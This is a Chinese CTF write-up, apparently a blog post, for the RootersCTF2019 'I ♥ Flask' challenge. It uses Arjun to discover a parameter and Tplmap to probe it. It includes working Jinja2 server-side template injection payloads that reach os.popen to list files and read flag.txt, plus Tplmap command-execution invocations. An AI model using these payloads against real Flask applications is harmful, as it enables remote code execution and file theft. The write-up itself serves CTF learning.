zoukankan      html  css  js  c++  java
  • RootersCTF2019 I ♥ Flask

    最近也是一直在做ssti方面的题目,我发现了两款比较好用的工具,一个是arjun(用来探测参数),另一个是Tplmap(用来探测ssti漏洞),我们这里以一道题目为例来演示一下

    题目

    我们拿到题目

    分析

    题目连一个参数都没,这里我们就用到了arjun这款工具

    Arjun:一款http参数扫描器,主要就是爆破url参数的

    python3 arjun.py -u http:xxxxxxxxxxx.buuoj.cn/ --get

    得到name参数

    ?name={{3*5}}

    发现确实存在ssti注入

    获取当前目录下文件列表

    ?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

    直接读flag

    ?name={{().__class__.__bases__[0].__subclasses__()[182].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat flag.txt').read()")}}

    还有就是用tplmap工具

    Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),JaveScript(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

    安装

    sudo git clone https://github.com/epinna/tplmap.git

    tplmap用的是python2,还要安装一些库

    sudo pip install -r requirements.txt

    然后就是运行

    ./tplmap.py -u http://69.232.53.238:5050/?name=1

    执行命令

    ./tplmap.py -u http://63.22.53.13:5050/?name=1 --engine=Jinja

  • 相关阅读:
    python数据类型三(字典)
    python数据类型二(列表和元组)
    python数据类型一(重点是字符串的各种操作)
    python基础二
    jquery validate学习心得
    Block 朴实理解
    Block 使用场景
    Block 进阶
    MD5加密
    SQL语句中 chinese_prc_CS_AI_WS 以及replace用法
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13750484.html
Copyright © 2011-2022 走看看